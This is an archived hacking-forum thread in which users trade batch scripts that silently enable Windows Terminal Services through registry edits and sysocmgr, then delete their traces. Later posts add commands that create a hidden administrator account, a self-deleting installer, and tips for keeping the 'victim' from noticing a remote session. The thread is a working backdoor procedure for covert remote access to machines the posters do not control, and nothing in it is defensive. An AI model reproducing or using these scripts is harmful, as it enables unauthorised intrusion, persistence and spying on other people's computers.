hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Nikscap
Hi !

How to enable terminal services W2K via DOS command ???

For automatic starting i've put the start key to 2

But after i can't lunch the service like this : NET START "Terminal Services"

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
"Start"=dword:00000002

To all over W2KSRV the services "Terminal server" are " ON " but they are not ACTIVED.

For activate this you must select in Add / Remove programs --> Add/Remove Windows Components --> Terminal Services --> Details --> ( Check only ) Enable Terminal Services and Reboot.

That's all , I want do it by Command Line ! ( sorry for my english ... )
DarkAgony

Maybe you should try with Sysocmgr.exe :

http://support.microsoft.com/default.aspx?...b;en-us;Q222444

Nikscap
I think it's very good idea , and it's The solution !

I test It , and if it's Ok , i post the complete command to do this.

Thanks DarkAgony
Nikscap
I have the solution ! but i write little script to do that ( and other ... )

Ex : Terminal services Enable + Telnet Enable ( Disable Event Connection, no default port, Reactive Guest, etc ... )

Very Soon !!!

But if you want test .

Do that by echo command to batch file and lunch IT !!!



# [1] - " AUTO START SERVICES"

echo Windows Registry Editor Version 5.00> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]>> c:\TS.reg
echo "Start"=dword:00000002>> c:\TS.reg

REGEDIT /S C:\TS.REG

# [2] - " ENABLE TS SERVICES "

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]>>C:\TS.REG
echo "EnableAdminTSRemote"=dword:00000001>>C:\TS.REG
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>C:\TS.REG
echo "TSEnabled"=dword:00000001>>C:\TS.REG
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]>>C:\TS.REG
echo "Start"=dword:00000002>>C:\TS.REG
echo [Components] > c:\bootlog~.txt
echo TSEnabled = on >> c:\bootlog~.txt
sysocmgr /i:%windir%\inf\sysoc.inf /u:c:\bootlog~.txt /q

# [3] - " DEL TMP FILES "

DEL /Q c:\TS.REG
DEL /Q c:\bootlog~.txt

# Ps: Add " /r " at the end of line if you to disable reboot ( work fine only after reboot )




EXEMPLE BATCH FILE NAMED : TS.BAT


<------------------------------------- START ----------------------------------->

echo Windows Registry Editor Version 5.00> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]>> c:\TS.reg
echo "Start"=dword:00000002>> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]>>C:\TS.REG
echo "EnableAdminTSRemote"=dword:00000001>>C:\TS.REG
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>C:\TS.REG
echo "TSEnabled"=dword:00000001>>C:\TS.REG
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]>>C:\TS.REG
echo "Start"=dword:00000002>>C:\TS.REG
REGEDIT /S C:\TS.REG
echo [Components] > c:\bootlog~.txt
echo TSEnabled = on >> c:\bootlog~.txt
sysocmgr /i:%windir%\inf\sysoc.inf /u:c:\bootlog~.txt /q
DEL /Q c:\TS.REG
DEL /Q c:\bootlog~.txt
EXIT

<------------------------------------- END ----------------------------------->


You can compile this batch to Program, for exemle like this tool :

BAT2EXE ( 6.1 Kb )

ex: bat2exe <name of batch file>

Thats'all ! ( Thx to DarkAgony ) cool.gif
GSecur
Great work both of you, sorry Nikscap that I didn't get back to answer this post on Astalavista.net
=k3Rn=
can i ask what this service does - and what for you use it ?
extreme
But what if WIn was installed from CD? Then how will you install the service with this batch file?
krackatoa
You will have to upload the needed files if the server was installed via cd.

Copy the files that begin with TSCxxxx.xx_ from the I386 directory of the win2k cd and place them in winnt\inf\i386.

They total just under 5MB.

Then run the commands specified in this post, reboot and Wala!


It's even easier for Win2k3, change one registry setting and boom! No additional files or reboot needed. The key is..

---snip------
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
"TSEnabled"=dword:00000001

---snip-------

oh yeah, this also enables TS in XP.
MaNiAx
damn that was straight ripped from coromcomputers
extreme
You mean, there is no need to install or upload any additional files on XP too??? Will the victim notice that Terminal services have been activated and in that case, how will he notice?
soupy
QUOTE (extreme @ Oct 7 2003, 12:36 AM)
Will the victim notice that Terminal services have been activated and in that case, how will he notice?

he will notice that Terminal services have been activated by looking at his services properties.
extreme
WHy is reboot neccessary?? Can't we just start TS.exe manually???
MrRobot
I know this isnt the thread for it, but lack of permission to create a new thread.

Sorta kinda on a long strech is related.


But where are the vpn settings,I run a vpn connection on this pc(xphome) and would like to see where my vpn settings are at. wink.gif
Neo2k
QUOTE (=k3Rn= @ Sep 28 2003, 06:16 AM)
can i ask what this service does - and what for you use it ?

It's a remote administration tools like a VPN but on another desktop of the admin, even if you're connect on his account.

(sorry for my english)
320X
thnx Nikscap for you´re great post wink.gif
esorone
Very interesting post m8,

Gonna check this one out!
MrRobot
QUOTE (MrRobot @ Jan 22 2004, 10:42 AM)
I know this isnt the thread for it, but lack of permission to create a new thread.

Sorta kinda on a long strech is related.


But where are the vpn settings,I run a vpn connection on this pc(xphome) and would like to see where my vpn settings are at. wink.gif

-=bump=-
krackatoa
Extreme.. The reboot is needed to get the service to run right (On Win2k Server only). No reboot is needed for XP or Windows 2003.

If you enable TS(aka remote desktop) on XP, accessing via tsc.exe will log the current user out.

Accessing Win2k or WIn2k3 server can be seen if the admin looks at terminal server manager, otherwise you have a separate desktop.

On windows XP and Windows server 2003 you do not need to upload any additional files or reboot, only have to do it on Windows 2000.

I've been trying off and on to see if I could get all the parts of the server TERM Server program to run on XP, but have not had success yet or even know if it is possible
flashb4ck
u can also add new user with the commands !

net user USERNAME PASS /add
net localgroup administrators admin /add



perhabs somebody want to know this cmd wink.gif
Starlight
can sombody upload the failes that you have to add in de directory winnt\inf\i386 please

put it in a zip or rar or somthing like that please i don't know where to find theses files smile.gif

thanks smile.gif
jead99
Thanks NicsCap, great and usefull info smile.gif

Keep up the good work.
ellitio
i have winxp running
but when i logged in here
and then on another computer connect with terminal service to this computer
i get an msg that the other user must log out...

how can i deactivate this?
net_runner
thankz, ,very interesting
bah
QUOTE (ellitio @ Jan 31 2004, 12:37 PM)
i have winxp running
but when i logged in here
and then on another computer connect with terminal service to this computer
i get an msg that the other user must log out...

how can i deactivate this?


I dont know of any registry setting that can

However if u login with the same acc as that user will get no
warning msg when he logins, he will just bump u off the acc
without knowing u were their. The simplest way to hide yourself is to lock the desktop then login with that acc on a ts session. Then when the user comeback and logins u will b just bumped off no error or warning msg to the other user!
extreme
I plan to download additional files for TS with webdownloader.. So they must all be packed in one EXE file, so when it is executed, it unpacks all those packed files into appropriate directory.. And it all needs to be done silently..
So what tool should I pack these files with?
Kakarott
thx dude 4 great work & share



skidoo32
extreme: that can be done with winrar. just make a self extracting exe. You can make it run silent with the advanced options.
extreme
Thanks Skidoo32, it helped..
A friend told me that you would need to install Terminal services + Terminal Licence via components install so it would work properly..
So, with these commands for regedit we assume that TS is already installed, but disabled, correct??? So if TS is not installed, then running reg commands won't do anything...
Second.. By copying needed files into winnt\inf\i386 do we still need to install TS, or copying files is counted as "Install"...???
krackatoa
You don't need to install terminal service license server. Just use the bat file posted earlier and you will install it in remote admin mode which allows two concurrent connections.

Remember though, that you have to upload the needed files for windows 2000 server TS if that is the version of server you are attempting otherwise it will ask for the cd
extreme
I just checked... There are no TSC___ files on Win2k CD, only TSB__ and TSD_ etc.
I found right files on my Win2003 evaluation CD however... Will it mind if I copy these 2k3 files to Win2k or NT mashine?

These are the files I found, just tell me if that is all...
TSCC.CH_
TSCC.DL_
TSCC.HL_
TSCC.MS_
TSCFGWMI.DL_
TSCFGWMI.MF_
TSCFGWMI.MO_
TSCMMC.CH_
TSCMSI01.W3_
TSCMSI02.W3_
TSCMSI03.W3_
TSCON.EX_
TSCUPGRD.EX_

And files are total little over 800Kb, and you said sometihing below 5Mb?...

--- I found one more interesting stuff.. Care to comment anyone???

1. Here's the rundll32 command to install Windows 2000 Terminal Services in Remote Admin mode:
CODE
%SystemRoot%\System32\rundll32.exe setupapi,InstallHinfSection TerminalServices.FreshInstall 128 %SystemRoot%\inf\tsoc.inf

2. To disable Terminal Services:
CODE
%SystemRoot%\System32\rundll32.exe setupapi,InstallHinfSection TerminalServices.ToggleOff 128 %SystemRoot%\inf\tsoc.inf

3. To re-enable Terminal Services:
CODE
%SystemRoot%\System32\rundll32.exe setupapi,InstallHinfSection TerminalServices.ToggleOn 128 %SystemRoot%\inf\tsoc.inf


krackatoa
I'll upload the files that you need in the Download area.

I've tested it on Win2k many times and it does work. Just copy the compressed files to: winnt\inf\i386. You'll have to create the I386 folder. Run the .bat file from wherever, give the install a couple of minutes then reboot the remote server.

You may blue screen if you have a kernal mode rootkit installed. I have had that happen.

Connect to it using the ts client and all is well.

Here's a listing of the files that you need to put in the directory above in case my upload is denied:

12/07/1999 06:00 AM 602 TSC.00_
12/07/1999 06:00 AM 94,989 TSC1601.D1_
12/07/1999 06:00 AM 413,173 TSC1601.D2_
12/07/1999 06:00 AM 47,185 TSC1601.D3_
12/07/1999 06:00 AM 94,990 TSC1601.NE_
12/07/1999 06:00 AM 12,487 TSC1602.D1_
12/07/1999 06:00 AM 117 TSC1602.D2_
12/07/1999 06:00 AM 123,029 TSC1602.D3_
12/07/1999 06:00 AM 12,488 TSC1602.NE_
12/07/1999 06:00 AM 166,871 TSC1603.D1_
12/07/1999 06:00 AM 61,575 TSC1603.D3_
12/07/1999 06:00 AM 166,872 TSC1603.NE_
12/07/1999 06:00 AM 4,735 TSC1604.D1_
12/07/1999 06:00 AM 33,649 TSC1604.D3_
12/07/1999 06:00 AM 26,518 TSC1604.NE_
12/07/1999 06:00 AM 26,517 TSC1605.D1_
12/07/1999 06:00 AM 60,503 TSC1605.D3_
12/07/1999 06:00 AM 912 TSC1605.NE_
12/07/1999 06:00 AM 911 TSC1606.D1_
12/07/1999 06:00 AM 12,255 TSC1606.D3_
12/07/1999 06:00 AM 8,416 TSC1606.NE_
12/07/1999 06:00 AM 8,415 TSC1607.D1_
12/07/1999 06:00 AM 209,017 TSC1607.D3_
12/07/1999 06:00 AM 98,698 TSC1607.NE_
12/07/1999 06:00 AM 98,697 TSC1608.D1_
12/07/1999 06:00 AM 117 TSC1608.D3_
12/07/1999 06:00 AM 139,762 TSC1608.NE_
12/07/1999 06:00 AM 139,761 TSC1609.D1_
12/07/1999 06:00 AM 15,601 TSC1609.D3_
12/07/1999 06:00 AM 1,014 TSC1609.NE_
12/07/1999 06:00 AM 1,059 TSC1610.D1_
12/07/1999 06:00 AM 104 TSC1610.NE_
12/07/1999 06:00 AM 103 TSC1611.D1_
12/07/1999 06:00 AM 118 TSC1611.NE_
12/07/1999 06:00 AM 3,807 TSC1612.D1_
12/07/1999 06:00 AM 3,808 TSC1612.NE_
12/07/1999 06:00 AM 3,647 TSC1613.D1_
12/07/1999 06:00 AM 3,648 TSC1613.NE_
12/07/1999 06:00 AM 249 TSC1614.D1_
12/07/1999 06:00 AM 250 TSC1614.NE_
12/07/1999 06:00 AM 457 TSC1615.D1_
12/07/1999 06:00 AM 458 TSC1615.NE_
12/07/1999 06:00 AM 1,067 TSC1616.D1_
12/07/1999 06:00 AM 1,068 TSC1616.NE_
12/07/1999 06:00 AM 183 TSC1617.D1_
12/07/1999 06:00 AM 12,256 TSC1617.NE_
12/07/1999 06:00 AM 16,003 TSC1618.D1_
12/07/1999 06:00 AM 16,004 TSC1618.NE_
12/07/1999 06:00 AM 117 TSC1619.D1_
12/07/1999 06:00 AM 4,736 TSC1619.NE_
12/07/1999 06:00 AM 37,117 TSC1620.D1_
12/07/1999 06:00 AM 413,174 TSC1620.NE_
12/07/1999 06:00 AM 47,186 TSC1621.NE_
12/07/1999 06:00 AM 123,030 TSC1622.NE_
12/07/1999 06:00 AM 61,576 TSC1623.NE_
12/07/1999 06:00 AM 33,650 TSC1624.NE_
12/07/1999 06:00 AM 60,504 TSC1625.NE_
12/07/1999 06:00 AM 12,256 TSC1626.NE_
12/07/1999 06:00 AM 209,018 TSC1627.NE_
12/07/1999 06:00 AM 37,118 TSC1628.NE_
12/07/1999 06:00 AM 15,602 TSC1629.NE_
12/07/1999 06:00 AM 118,473 TSC3201.D1_
12/07/1999 06:00 AM 118,474 TSC3201.NE_
12/07/1999 06:00 AM 5,377 TSC3202.D1_
12/07/1999 06:00 AM 5,378 TSC3202.NE_
12/07/1999 06:00 AM 507 TSC3203.D1_
12/07/1999 06:00 AM 508 TSC3203.NE_
12/07/1999 06:00 AM 7,595 TSC3204.D1_
12/07/1999 06:00 AM 7,596 TSC3204.NE_
12/07/1999 06:00 AM 95,527 TSC3205.D1_
12/07/1999 06:00 AM 95,528 TSC3205.NE_
12/07/1999 06:00 AM 22,567 TSC3206.D1_
12/07/1999 06:00 AM 22,570 TSC3206.NE_
12/07/1999 06:00 AM 911 TSC3207.D1_
12/07/1999 06:00 AM 912 TSC3207.NE_
12/07/1999 06:00 AM 109,223 TSC3208.D1_
12/07/1999 06:00 AM 109,224 TSC3208.NE_
12/07/1999 06:00 AM 455 TSC3209.D1_
12/07/1999 06:00 AM 456 TSC3209.NE_
12/07/1999 06:00 AM 114,901 TSC3210.D1_
12/07/1999 06:00 AM 114,902 TSC3210.NE_
12/07/1999 06:00 AM 6,527 TSC3211.D1_
12/07/1999 06:00 AM 6,528 TSC3211.NE_
12/07/1999 06:00 AM 881 TSC3212.D1_
12/07/1999 06:00 AM 852 TSC3212.NE_
12/07/1999 06:00 AM 1,675 TSC3213.D1_
12/07/1999 06:00 AM 1,676 TSC3213.NE_
12/07/1999 06:00 AM 37,117 TSC3214.D1_
12/07/1999 06:00 AM 118 TSC3214.NE_
12/07/1999 06:00 AM 249 TSC3215.D1_
12/07/1999 06:00 AM 37,118 TSC3215.NE_
12/07/1999 06:00 AM 415 TSC3216.D1_
12/07/1999 06:00 AM 250 TSC3216.NE_
12/07/1999 06:00 AM 183 TSC3217.D1_
12/07/1999 06:00 AM 416 TSC3217.NE_
12/07/1999 06:00 AM 25,359 TSC3218.D1_
12/07/1999 06:00 AM 25,360 TSC3218.NE_
12/07/1999 06:00 AM 117 TSC3219.D1_
12/07/1999 06:00 AM 30,156 TSC3219.NE_
12/07/1999 06:00 AM 30,155 TSC3220.D1_
12/07/1999 06:00 AM 8,183 TSCC.CH_
12/07/1999 06:00 AM 66,639 TSCC.DL_
12/07/1999 06:00 AM 14,565 TSCC.HL_
12/07/1999 06:00 AM 1,649 TSCC.MS_
12/07/1999 06:00 AM 8,066 TSCON.EX_

These files are on the Win2k server CD, at least they were on the one I had.

I haven't tried the other methods to install TS that you listed, but I will.
6066up9r
great list of commands you have there, will try them out!
147111
Thanks NicsCap, great and usefull info

Keep up the good work.
illwill
i only had one win2k box to test this remotely but i couldnt get it to work ..
anyhow i thought the bat file could be updated a little so here you go

CODE

@echo off
@echo TS Silent Install
@echo modded by illwill - http://illmob.org
@echo This will install Terminal Services on WIndows 2000 Server via cmd line
@echo Also adds a user with admin privledges
@echo Place files in winnt\inf\i386 otherwise you will be asked to insert a cd
@echo Execute the .bat file from wherever
@echo Wait a couple of Mins then reboot the server
@echo Connect to the server using the TS client





md c:\winnt\inf\1386
copy TS*.* c:\winnt\inf\1386\*.*
net user illwill password /add && net localgroup administrators illwill /add
echo Windows Registry Editor Version 5.00> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]>> c:\TS.reg
echo "Start"=dword:00000002>> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]>>C:\TS.REG
echo "EnableAdminTSRemote"=dword:00000001>>C:\TS.REG
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>C:\TS.REG
echo "TSEnabled"=dword:00000001>>C:\TS.REG
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]>>C:\TS.REG
echo "Start"=dword:00000002>>C:\TS.REG
REGEDIT /S C:\TS.REG
echo [Components] > c:\bootlog~.txt
echo TSEnabled = on >> c:\bootlog~.txt
sysocmgr /i:%windir%\inf\sysoc.inf /u:c:\bootlog~.txt /q
DEL /Q c:\TS.REG
DEL /Q c:\bootlog~.txt
del %0
EXIT



tianzhen
yes ,the reg thingz not always works for me either
Dulok
I am trying this one right now...lets see if it works...lots of great thought went into this post
eloman
Hey.
Terminal services have a very big minus. If the real USER is logged on remote computer, and you are trying to log there remotely by TS, the USER will log out. And this is very bad thing, becouse he can guess that somebody is trying to get to his computer. I need to log on remote computer, need to execute giu programs on his machine. The best would be the situation when two users will be logged at the same time (real USER and I(remotely)) and when there will be two independent desktops - one: real USER is working on his normal desktop, and two: i'm working on virtual desktop on his computer and i'm not disturbing him. Maybe this is possible when using TS and I don't know how? Someone had told something about "Remote Admin mode". But i don't understand how it works. Or maybe there is another tool which have the purposes i need. Please help me.
WeSkeR
eloman, u need "TS Client (Export)" and log in with your own account
=k3Rn=
i am also intrested in what eloman asked.

@wesker: i don't understand what client you mean, up to now i used the remote desktop connection tool you can find under accessories / communicaton ...
did i understood you corectly that if you use another client (pls tell again which one exactly) you can logon in background without kicking the acutal logged on user?
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.